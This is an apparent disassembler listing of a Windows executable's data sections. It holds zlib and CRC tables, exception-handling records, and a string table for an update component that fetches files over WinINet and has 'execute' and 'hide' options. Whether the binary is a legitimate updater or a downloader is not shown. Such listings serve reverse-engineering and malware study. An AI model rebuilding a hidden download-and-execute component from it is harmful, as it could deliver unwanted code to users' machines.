dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BEh, 800h, 0Fh
dd 800h, 8Fh, 800h, 4Fh, 900h, 0FEh, 760h, 100h, 800h
dd 50h, 800h, 10h, 854h, 73h, 752h, 1Fh, 800h, 70h, 800h
dd 30h, 900h, 0C1h, 750h, 0Ah, 800h, 60h, 800h, 20h, 900h
dd 0A1h, 800h, 0
dd 800h, 80h, 800h, 40h, 900h, 0E1h, 750h, 6, 800h, 58h
dd 800h, 18h, 900h, 91h, 753h, 3Bh, 800h, 78h, 800h, 38h
dd 900h, 0D1h, 751h, 11h, 800h, 68h, 800h, 28h, 900h, 0B1h
dd 800h, 8, 800h, 88h, 800h, 48h, 900h, 0F1h, 750h, 4
dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh, 800h, 74h
dd 800h, 34h, 900h, 0C9h, 751h, 0Dh, 800h, 64h, 800h, 24h
dd 900h, 0A9h, 800h, 4, 800h, 84h, 800h, 44h, 900h, 0E9h
dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h, 99h, 754h, 53h
dd 800h, 7Ch, 800h, 3Ch, 900h, 0D9h, 752h, 17h, 800h, 6Ch
dd 800h, 2Ch, 900h, 0B9h, 800h, 0Ch, 800h, 8Ch, 800h, 4Ch
dd 900h, 0F9h, 750h, 3, 800h, 52h, 800h, 12h, 855h, 0A3h
dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C5h, 751h, 0Bh
dd 800h, 62h, 800h, 22h, 900h, 0A5h, 800h, 2, 800h, 82h
dd 800h, 42h, 900h, 0E5h, 750h, 7, 800h, 5Ah, 800h, 1Ah
dd 900h, 95h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D5h
dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B5h, 800h, 0Ah
dd 800h, 8Ah, 800h, 4Ah, 900h, 0F5h, 750h, 5, 800h, 56h
dd 800h, 16h, 8C0h, 0
dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CDh, 751h, 0Fh
dd 800h, 66h, 800h, 26h, 900h, 0ADh, 800h, 6, 800h, 86h
dd 800h, 46h, 900h, 0EDh, 750h, 9, 800h, 5Eh, 800h, 1Eh
dd 900h, 9Dh, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DDh
dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BDh, 800h, 0Eh
dd 800h, 8Eh, 800h, 4Eh, 900h, 0FDh, 760h, 100h, 800h
dd 51h, 800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h
dd 31h, 900h, 0C3h, 750h, 0Ah, 800h, 61h, 800h, 21h, 900h
dd 0A3h, 800h, 1, 800h, 81h, 800h, 41h, 900h, 0E3h, 750h
dd 6, 800h, 59h, 800h, 19h, 900h, 93h, 753h, 3Bh, 800h
dd 79h, 800h, 39h, 900h, 0D3h, 751h, 11h, 800h, 69h, 800h
dd 29h, 900h, 0B3h, 800h, 9, 800h, 89h, 800h, 49h, 900h
dd 0F3h, 750h, 4, 800h, 55h, 800h, 15h, 850h, 102h, 753h
dd 2Bh, 800h, 75h, 800h, 35h, 900h, 0CBh, 751h, 0Dh, 800h
dd 65h, 800h, 25h, 900h, 0ABh, 800h, 5, 800h, 85h, 800h
dd 45h, 900h, 0EBh, 750h, 8, 800h, 5Dh, 800h, 1Dh, 900h
dd 9Bh, 754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DBh, 752h
dd 17h, 800h, 6Dh, 800h, 2Dh, 900h, 0BBh, 800h, 0Dh, 800h
dd 8Dh, 800h, 4Dh, 900h, 0FBh, 750h, 3, 800h, 53h, 800h
dd 13h, 855h, 0C3h, 753h, 23h, 800h, 73h, 800h, 33h, 900h
dd 0C7h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h, 0A7h, 800h
dd 3, 800h, 83h, 800h, 43h, 900h, 0E7h, 750h, 7, 800h
dd 5Bh, 800h, 1Bh, 900h, 97h, 754h, 43h, 800h, 7Bh, 800h
dd 3Bh, 900h, 0D7h, 752h, 13h, 800h, 6Bh, 800h, 2Bh, 900h
dd 0B7h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h, 0F7h, 750h
dd 5, 800h, 57h, 800h, 17h, 8C0h, 0
dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CFh, 751h, 0Fh
dd 800h, 67h, 800h, 27h, 900h, 0AFh, 800h, 7, 800h, 87h
dd 800h, 47h, 900h, 0EFh, 750h, 9, 800h, 5Fh, 800h, 1Fh
dd 900h, 9Fh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DFh
dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BFh, 800h, 0Fh
dd 800h, 8Fh, 800h, 4Fh, 900h, 0FFh
dword_414340 dd 550h, 1, 557h, 101h, 553h, 11h, 55Bh, 1001h, 551h, 5
; DATA XREF: sub_40CE2B+21o
dd 559h, 401h, 555h, 41h, 55Dh, 4001h, 550h, 3, 558h, 201h
dd 554h, 21h, 55Ch, 2001h, 552h, 9, 55Ah, 801h, 556h, 81h
dd 5C0h, 6001h, 550h, 2, 557h, 181h, 553h, 19h, 55Bh, 1801h
dd 551h, 7, 559h, 601h, 555h, 61h, 55Dh, 6001h, 550h, 4
dd 558h, 301h, 554h, 31h, 55Ch, 3001h, 552h, 0Dh, 55Ah
dd 0C01h, 556h, 0C1h, 5C0h, 6001h
dword_414440 dd 10h ; sub_40AF6D+A13r
dd 11h, 12h, 0
dd 8, 7, 9, 6, 0Ah, 5, 0Bh, 4, 0Ch, 3, 0Dh, 2, 0Eh, 1
dd 0Fh
aInflate1_1_3Co db ' inflate 1.1.3 Copyright 1995-1998 Mark Adler ',0
align 4
dword_4144BC dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Dh, 0Fh, 11h, 13h, 17h
; DATA XREF: sub_40CCA6+50o
dd 1Bh, 1Fh, 23h, 2Bh, 33h, 3Bh, 43h, 53h, 63h, 73h, 83h
dd 0A3h, 0C3h, 0E3h, 102h, 2 dup(0)
dword_414538 dd 8 dup(0) dd 4 dup(1), 4 dup(2), 4 dup(3), 4 dup(4), 4 dup(5), 0
dd 2 dup(70h)
dword_4145B4 dd 1, 2, 3, 4, 5, 7, 9, 0Dh, 11h, 19h, 21h, 31h, 41h, 61h
; DATA XREF: sub_40CCA6+D9o
dd 81h, 0C1h, 101h, 181h, 201h, 301h, 401h, 601h, 801h
dd 0C01h, 1001h, 1801h, 2001h, 3001h, 4001h, 6001h
dword_41462C dd 4 dup(0) dd 2 dup(1), 2 dup(2), 2 dup(3), 2 dup(4), 2 dup(5), 2 dup(6)
dd 2 dup(7), 2 dup(8), 2 dup(9), 2 dup(0Ah), 2 dup(0Bh)
dd 2 dup(0Ch), 2 dup(0Dh)
dword_4146A4 dd 0 ; sub_40D535+3Ar ...
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
byte_414AA4 db 20h ; DATA XREF: sub_40EA92:loc_40EAAAr
aUnzip0_15Copyr db 'unzip 0.15 Copyright 1998 Gilles Vollant ',0
align 10h
dd offset dword_414B20
off_414AD4 dd offset sub_41159F ; DATA XREF: HSho:00417020o
; HSho:off_417030o ...
dword_414AD8 dd 0FFFFFFFFh, 4117C8h, 4117DCh, 414B68hoff_414AE8 dd offset sub_409A10 ; DATA XREF: sub_4099B0+26o
; sub_409A40+Ao ...
align 10h
off_414AF0 dd offset off_417BB0 ; DATA XREF: HSho:00414B08o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_414AF0
dword_414B0C dd 3 dup(0) dd 1, 414B08h
dword_414B20 dd 3 dup(0) dd offset off_417BB0
dd offset dword_414B0C+4
align 8
off_414B38 dd offset off_417BE8 ; DATA XREF: HSho:00414B50o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_414B38
dd 0
db 0 ; DATA XREF: HSho:00414B78o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 414B50h, 3 dup(0)
dd offset off_417BE8
dd offset unk_414B58
align 10h
dword_414B80 dd 19930520h, 2, 414BA0h, 1, 414BB0h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 414BC8h, 4 dup(0)
dd offset loc_40119D
dword_414BD8 dd 19930520h, 2, 414BF8h, 1, 414C08h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 414C20h, 4 dup(0)
dd offset loc_401245
dword_414C30 dd 19930520h, 3, 414C50h, 1, 414C68h, 3 dup(0) dd 0FFFFFFFFh, 411A84h, 4 dup(0)
dd 2 dup(1), 2, 1, 414C80h, 4 dup(0)
dd offset loc_401402
dword_414C90 dd 19930520h, 2, 414CB0h, 1, 414CC0h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 414CD8h, 4 dup(0)
dd offset loc_4015A1
dword_414CE8 dd 19930520h, 2, 414D08h, 1, 414D18h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 414D30h, 4 dup(0)
dd offset loc_4017D7
dword_414D40 dd 19930520h, 2, 414D60h, 1, 414D70h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 414D88h, 4 dup(0)
dd offset loc_401966
dd 1, 417020h, 0
dd 0FFFFFFFFh, 0
dd 4, 2 dup(0)
dword_414DB8 dd 1, 414D98h dword_414DC0 dd 3 dup(0) ; HSho:004012E6o ...
dd offset dword_414DB8
dword_414DD0 dd 19930520h, 2, 414DF0h, 1, 414E00h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 414E18h, 2 dup(0)
dd offset off_417030
dd 0FFFFFEC0h, 401D58h
dword_414E28 dd 19930520h, 4, 414E48h, 5 dup(0) dd 0FFFFFFFFh, 411AE5h, 0
; ---------------------------------------------------------------------------
retf 411Ah
; ---------------------------------------------------------------------------
align 4
dd 1, 411AD3h, 2, 411ADCh
dword_414E68 dd 19930520h, 0Bh, 414E88h, 5 dup(0) dd 0FFFFFFFFh, 411B08h, 0
dd offset loc_411B10
dd 1, 411B1Bh, 2, 411B26h, 3, 411B31h, 4, 411B3Ch, 5, 411B47h
dd 6, 411B52h, 7, 411B5Dh, 8, 411B6Bh, 9, 411B73h
dword_414EE0 dd 19930520h, 8, 414F00h, 5 dup(0) dd 0FFFFFFFFh, 411B88h, 0
dd offset loc_411B90
dd 1, 411B9Bh, 2, 411BA6h, 3, 411BB1h, 4, 411BBCh, 5, 411BC7h
dd 6, 411BD2h
dword_414F40 dd 19930520h, 2, 414F60h, 1, 414F70h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 414F88h, 4 dup(0)
dd offset loc_402F05
dword_414F98 dd 19930520h, 3, 414FB8h, 5 dup(0) dd 0FFFFFFFFh, 411C04h, 0
dd offset loc_411BF4
dd 1, 411BFCh
dword_414FD0 dd 19930520h, 4, 414FF0h, 5 dup(0) dd 0FFFFFFFFh, 411C40h, 0
dd offset loc_411C28
dd 1, 411C30h, 2, 411C38h
dword_415010 dd 19930520h, 20h, 415030h, 5 dup(0) dd 0FFFFFFFFh, 411C64h, 0
dd offset loc_411C6C
dd 1, 411C74h, 1, 411C7Fh, 1, 411C8Ah, 1, 411C95h, 1, 411CA0h
dd 1, 411CA8h, 1, 411CB3h, 1, 411CBBh, 1, 411CC6h, 1, 411CD1h
dd 1, 411CD9h, 1, 411CE4h, 1, 411CECh, 0Eh, 411CF4h, 0Fh
dd 411CFCh, 0Fh, 411D07h, 0Fh, 411D12h, 0Fh, 411D1Dh, 0Fh
dd 411D28h, 0Fh, 411D33h, 0Fh, 411D3Eh, 0Fh, 411D49h, 0Fh
dd 411D54h, 0Fh, 411D5Ch, 0Fh, 411D64h, 0Fh, 411D6Ch, 0Fh
dd 411D74h, 0Fh, 411D7Ch, 0Fh, 411D87h, 0Fh, 411D92h
dword_415130 dd 19930520h, 1, 415150h, 5 dup(0) dd 0FFFFFFFFh, 411DA8h
dword_415158 dd 19930520h, 1, 415178h, 5 dup(0) dd 0FFFFFFFFh, 411DBCh
dword_415180 dd 19930520h, 4, 4151A0h, 5 dup(0) dd 0FFFFFFFFh, 411DD0h, 0
dd offset loc_411DD8
dd 1, 411DE0h, 1, 411DE8h
dword_4151C0 dd 19930520h, 0Eh, 4151E0h, 5 dup(0) dd 0FFFFFFFFh, 411DFCh, 0
dd offset loc_411E04
dd 0FFFFFFFFh, 411E0Ch, 2, 411E14h, 3, 411E1Ch, 3, 411E24h
dd 3, 411E2Ch, 3, 411E34h, 7, 411E3Ch, 8, 411E44h, 7, 411E4Ch
dd 7, 411E54h, 7, 411E5Fh, 7, 411E67h
dword_415250 dd 19930520h, 2, 415270h, 5 dup(0) dd 0FFFFFFFFh, 411E7Ch, 0
dd offset loc_411E84
dword_415280 dd 19930520h, 9, 4152A0h, 5 dup(0) dd 0FFFFFFFFh, 411E98h, 0
dd offset loc_411EA0
dd 1, 411EA8h, 2, 411EB3h, 2, 411EBBh, 4, 411EC6h, 4, 411ECEh
dd 4, 411ED6h, 7, 411EE1h
dword_4152E8 dd 19930520h, 0Ah, 415308h, 5 dup(0) dd 0FFFFFFFFh, 411EF4h, 0
dd offset loc_411EFC
dd 1, 411F04h, 2, 411F0Ch, 2, 411F14h, 4, 411F1Ch, 5, 411F24h
dd 6, 411F2Ch, 6, 411F34h, 8, 411F3Ch
dword_415358 dd 19930520h, 6, 415378h, 5 dup(0) dd 0FFFFFFFFh, 411F78h, 0
dd offset loc_411F50
dd 1, 411F58h, 1, 411F60h, 3, 411F68h, 4, 411F70h
dword_4153A8 dd 19930520h, 2, 4153C8h, 5 dup(0) dd 0FFFFFFFFh, 411F9Ch, 0
dd offset loc_411FA4
dword_4153D8 dd 19930520h, 6, 4153F8h, 5 dup(0) dd 0FFFFFFFFh, 411FE0h, 0
dd offset loc_411FB8
dd 1, 411FC0h, 1, 411FC8h, 3, 411FD0h, 4, 411FD8h
dword_415428 dd 19930520h, 6, 415448h, 5 dup(0) dd 0FFFFFFFFh, 41202Ch, 0
dd offset loc_412004
dd 1, 41200Ch, 1, 412014h, 3, 41201Ch, 4, 412024h
dword_415478 dd 19930520h, 8, 415498h, 5 dup(0) dd 0FFFFFFFFh, 412050h, 0
dd offset loc_412058
dd 1, 412060h, 1, 412068h, 3, 412070h, 4, 412078h, 4, 412080h
dd 6, 412088h
dword_4154D8 dd 19930520h, 6, 4154F8h, 5 dup(0) dd 0FFFFFFFFh, 41209Ch, 0
dd offset loc_4120A4
dd 1, 4120ACh, 1, 4120B4h, 3, 4120BCh, 4, 4120C4h
dword_415528 dd 19930520h, 6, 415548h, 5 dup(0) dd 0FFFFFFFFh, 412100h, 0
dd offset loc_4120D8
dd 1, 4120E0h, 1, 4120E8h, 3, 4120F0h, 4, 4120F8h
dword_415578 dd 19930520h, 3, 415598h, 5 dup(0) dd 0FFFFFFFFh, 412124h, 0
dd offset loc_41212C
dd 1, 412134h
dword_4155B0 dd 19930520h, 15h, 4155D0h, 5 dup(0) dd 0FFFFFFFFh, 412148h, 0
dd offset loc_412150
dd 1, 412158h, 2, 412160h, 3, 412168h, 3, 412170h, 3, 412178h
dd 6, 412180h, 3, 412188h, 3, 412190h, 3, 412198h, 0Ah
dd 4121A0h, 0Bh, 4121A8h, 0Bh, 4121B0h, 0Dh, 4121B8h, 0Eh
dd 4121C0h, 0Dh, 0
dd 0Dh, 0
dd 0Dh, 4121C8h, 0Dh, 0
dd 0Dh, 0
dword_415678 dd 19930520h, 2, 415698h, 1, 4156A8h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 4156C0h, 4 dup(0)
dd offset sub_40628D
dword_4156D0 dd 19930520h, 1, 4156F0h, 5 dup(0) dd 0FFFFFFFFh, 4121F0h
dword_4156F8 dd 19930520h, 4, 415718h, 5 dup(0) dd 0FFFFFFFFh, 412203h, 0
dd offset loc_41220C
dd 1, 412215h, 1, 41221Eh
dword_415738 dd 19930520h, 3, 415758h, 5 dup(0) dd 0FFFFFFFFh, 412231h, 0
dd offset loc_41223A
dd 1, 412246h
dword_415770 dd 19930520h, 7, 415790h, 5 dup(0) dd 0FFFFFFFFh, 41225Ch, 0
dd offset loc_412265
dd 1, 41226Eh, 2, 412277h, 3, 412283h, 4, 41228Fh, 4, 412298h
dword_4157C8 dd 19930520h, 2, 4157E8h, 5 dup(0) dd 0FFFFFFFFh, 4122ABh, 0
dd offset loc_4122B4
dword_4157F8 dd 19930520h, 1, 415818h, 5 dup(0) dd 0FFFFFFFFh, 4122CAh
dword_415820 dd 19930520h, 1, 415840h, 5 dup(0) dd 0FFFFFFFFh, 4122DDh
dword_415848 dd 19930520h, 1, 415868h, 5 dup(0) dd 0FFFFFFFFh, 4122F0h
dword_415870 dd 19930520h, 4, 415890h, 5 dup(0) dd 0FFFFFFFFh, 412303h, 0
dd offset loc_41230C
dd 1, 412315h, 1, 41231Eh
dword_4158B0 dd 19930520h, 1, 4158D0h, 5 dup(0) dd 0FFFFFFFFh, 412331h
dword_4158D8 dd 19930520h, 4, 4158F8h, 5 dup(0) dd 0FFFFFFFFh, 412344h, 0
dd offset loc_41234D
dd 1, 412356h, 1, 41235Fh
dword_415918 dd 19930520h, 3, 415938h, 5 dup(0) dd 0FFFFFFFFh, 412372h, 0
dd offset loc_41237B
dd 1, 412388h
dword_415950 dd 19930520h, 7, 415970h, 5 dup(0) dd 0FFFFFFFFh, 41239Fh, 0
dd offset loc_4123A9
dd 1, 4123B3h, 2, 4123BCh, 3, 4123C9h, 4, 4123D6h, 4, 4123E0h
dword_4159A8 dd 19930520h, 2, 4159C8h, 5 dup(0) dd 0FFFFFFFFh, 4123F4h, 0
dd offset loc_4123FD
dword_4159D8 dd 19930520h, 1, 4159F8h, 5 dup(0) dd 0FFFFFFFFh, 412414h
dword_415A00 dd 19930520h, 1, 415A20h, 5 dup(0) dd 0FFFFFFFFh, 412428h
dword_415A28 dd 19930520h, 1, 415A48h, 5 dup(0) dd 0FFFFFFFFh, 41243Ch
dword_415A50 dd 19930520h, 4, 415A70h, 5 dup(0) dd 0FFFFFFFFh, 41244Fh, 0
dd offset loc_412459
dd 1, 412462h, 1, 41246Ch
dword_415A90 dd 19930520h, 1, 415AB0h, 5 dup(0) dd 0FFFFFFFFh, 412480h
dword_415AB8 dd 19930520h, 1, 415AD8h, 5 dup(0) dd 0FFFFFFFFh, 4124A0h
dword_415AE0 dd 19930520h, 1, 415B00h, 5 dup(0) dd 0FFFFFFFFh, 4124C0h
dword_415B08 dd 19930520h, 1, 415B28h, 5 dup(0) dd 0FFFFFFFFh, 4124E0h
dword_415B30 dd 19930520h, 3, 415B50h, 5 dup(0) dd 0FFFFFFFFh, 412500h, 0
dd offset loc_41250C
dd 1, 412518h
dword_415B68 dd 19930520h, 3, 415B88h, 5 dup(0) dd 0FFFFFFFFh, 412540h, 0
dd offset loc_41254C
dd 1, 412558h
dword_415BA0 dd 19930520h, 1Ah, 415BC0h, 5 dup(0) dd 0FFFFFFFFh, 412580h, 0
dd offset loc_412589
dd 1, 412592h, 2, 41259Bh, 3, 4125A4h, 4, 4125B0h, 5, 4125BCh
dd 6, 4125C8h, 7, 4125D4h, 8, 4125E0h, 9, 4125ECh, 0Ah
dd 4125F8h, 0Bh, 412604h, 0Ch, 412610h, 0Dh, 41261Ch, 0Eh
dd 412628h, 0Fh, 412634h, 10h, 412640h, 11h, 41264Ch, 12h
dd 412658h, 13h, 412664h, 3, 412670h, 3, 41267Ch, 16h
dd 412688h, 17h, 412691h, 17h, 41269Dh
dword_415C90 dd 19930520h, 8, 415CB0h, 5 dup(0) dd 0FFFFFFFFh, 4126B3h, 0
dd offset loc_4126BF
dd 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 26h, 41h, 0
dd 0
dd offset loc_4126D7
dd 0
dd offset loc_4126E3
dd 0
dd offset loc_4126EF
dd 0
dd offset loc_4126FB
dd 0
dd offset loc_412707
dword_415CF0 dd 19930520h, 2, 415D10h, 1, 415D20h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 415D38h, 4 dup(0)
dd offset loc_4093AF
dword_415D48 dd 19930520h, 1, 415D68h, 5 dup(0) dd 0FFFFFFFFh, 412730h
dword_415D70 dd 19930520h, 1, 415D90h, 5 dup(0) dd 0FFFFFFFFh, 412750h
dword_415D98 dd 19930520h, 1, 415DB8h, 5 dup(0) dd 0FFFFFFFFh, 412770h
dword_415DC0 dd 19930520h, 1, 415DE0h, 5 dup(0) dd 0FFFFFFFFh, 412790h, 0
dd offset off_417BE8
dd 0
dd 0FFFFFFFFh, 0
dd 10h, 411A38h, 0
dword_415E08 dd 1, 415DE8h dword_415E10 dd 0 dd offset sub_409A40
dd 0
dd offset dword_415E08
align 200h
HSho ends
; Section 2. (virtual address 00016000)
; Virtual size : 00009000 ( 36864.)
; Section size in file : 00009000 ( 36864.)
; Offset to raw data for section: 00016000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
HSho segment para public 'CODE' use32
assume cs:HSho
;org 416000h
assume es:nothing, ss:nothing, ds:HSho, fs:nothing, gs:nothing
dword_416000 dd 400h dup(0) dword_417000 dd 0 dd offset sub_4082E0
dd offset sub_411891
dword_41700C dd 0 dword_417010 dd 0 dword_417014 dd 3 dup(0) dd offset off_414AD4
align 8
dd 482Eh
dword_41702C dd 6325h off_417030 dd offset off_414AD4 ; DATA XREF: HSho:00414E1Co
align 8
a_pavcexception db '.PAVCException@@',0
align 4
aR_0: ; DATA XREF: HSho:00402558o
unicode 0, <r>,0
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4027A4:loc_4027EDo
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4027A4:loc_402808o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4027A4+79o
align 10h
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4027A4+8Bo
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4027A4+9Do
align 4
aD db '%d',0 ; DATA XREF: sub_402A1E+F6o
align 4
aOpen db 'OPEN',0 ; DATA XREF: sub_402C48+23Do
align 4
asc_4170B4: ; DATA XREF: sub_402C48+1B5o
unicode 0, <)>,0
aCrcOkInstall db 'crc ok, Install(',0 ; DATA XREF: sub_402C48+19Bo
align 4
a_old db '.old',0 ; DATA XREF: sub_402C48+159o
align 4
aCrcFailed db 'crc failed:',0 ; DATA XREF: sub_402C48+E9o
aInstallzip db 'InstallZip()',0Ah,0 ; DATA XREF: sub_402C48+7Bo
align 10h
a_bin db '.bin',0 ; DATA XREF: sub_402C48+3Do
align 4
aRetryD db '&retry=%d',0 ; DATA XREF: sub_402F1E+4Co
align 4
a0: ; DATA XREF: sub_40592B+6Co
unicode 0, <0>,0
a02x db '%02X',0 ; DATA XREF: sub_402FAF+D1o
align 10h
dword_417110 dd 0D321C942h, 2212B3F2h, 6608AB02h, 0 ; sub_4030F7+8Eo
dword_417120 dd 6325h dword_417124 dd 74696E49h, 646E7542h, 0A656Chdword_417130 dd 5Ch ; sub_405327+38o ...
aWindows db 'windows',0 ; DATA XREF: sub_403488+BEBo
aCrc db 'crc',0 ; DATA XREF: sub_403488:loc_403FB6o
aIdentifier db 'identifier',0 ; DATA XREF: sub_403488:loc_403F3Fo
align 4
aVersion_0 db 'version',0 ; DATA XREF: sub_403488:loc_403ECEo
aNewupdater db 'newupdater',0 ; DATA XREF: sub_403488:loc_403E5Eo
align 10h
aWait db 'wait',0 ; DATA XREF: sub_403488:loc_403DEEo
align 4
aExecute db 'execute',0 ; DATA XREF: sub_403488:loc_403D7Eo
aHide db 'hide',0 ; DATA XREF: sub_403488:loc_403D0Eo
align 4
aSavepath db 'SavePath',0 ; DATA XREF: sub_403488:loc_403CA3o
align 4
aSaveas db 'SaveAs',0 ; DATA XREF: sub_403488:loc_403C2Co
align 4
aParameters db 'parameters',0 ; DATA XREF: sub_403488:loc_403BBBo
align 4
aFilename db 'filename',0 ; DATA XREF: sub_403488:loc_403B4Ao
align 4
aRequiredfile db 'requiredfile',0 ; DATA XREF: sub_403488:loc_403AD9o
align 4
